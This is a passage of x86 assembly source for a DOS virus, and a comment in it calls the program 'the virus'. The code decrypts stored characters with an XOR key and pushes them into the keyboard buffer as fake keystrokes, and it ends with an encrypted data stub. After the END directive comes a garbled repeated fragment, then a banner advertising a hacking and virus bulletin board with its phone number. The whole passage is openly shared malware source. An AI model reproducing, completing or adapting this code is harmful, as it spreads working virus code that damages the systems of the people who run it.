[BX],0 ; Was that the last character? JNE BP0610 ; Branch if not MOV OUT_SW,0 ; Set off output switch JMP BP0610 BP0640: MOV DI,TABOUT ; Address relevant table entry XOR BX,BX ; Clear register MOV BL,[DI+1] ; Get current character pointer ADD BX,[DI+2] ; Add entry pointer MOV AL,[BX] ; Get the character XOR AL,0AFH ; Decrypt character INC BYTE PTR [DI+1] ; Next character MOV AH,AL ; Copy for translate MOV BX,OFFSET KEYTAB ; Address key number table XLAT ; Get key number XCHG AH,AL ; Reserve order MOV BX,BW041C ; Get key token out pointer MOV ES:[BX],AX ; Put key token into buffer INC BX ; \ Next buffer position INC BX ; / CMP BX,BW0482 ; Passed end of buffer? JNE BP0650 ; Branch if not MOV BX,BW0480 ; Get buffer start BP0650: MOV BW041C,BX ; Save new key token out pointer RET ; Stack area - This is also necessary to make the virus a complete ; number of paragraphs DB 04CH, 002H, 0AAH, 031H, 09EH, 002H, 0A5H, 031H ENDADR EQU $ CODE ENDS END START ete ; number of paragraphs DB 04CH, ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ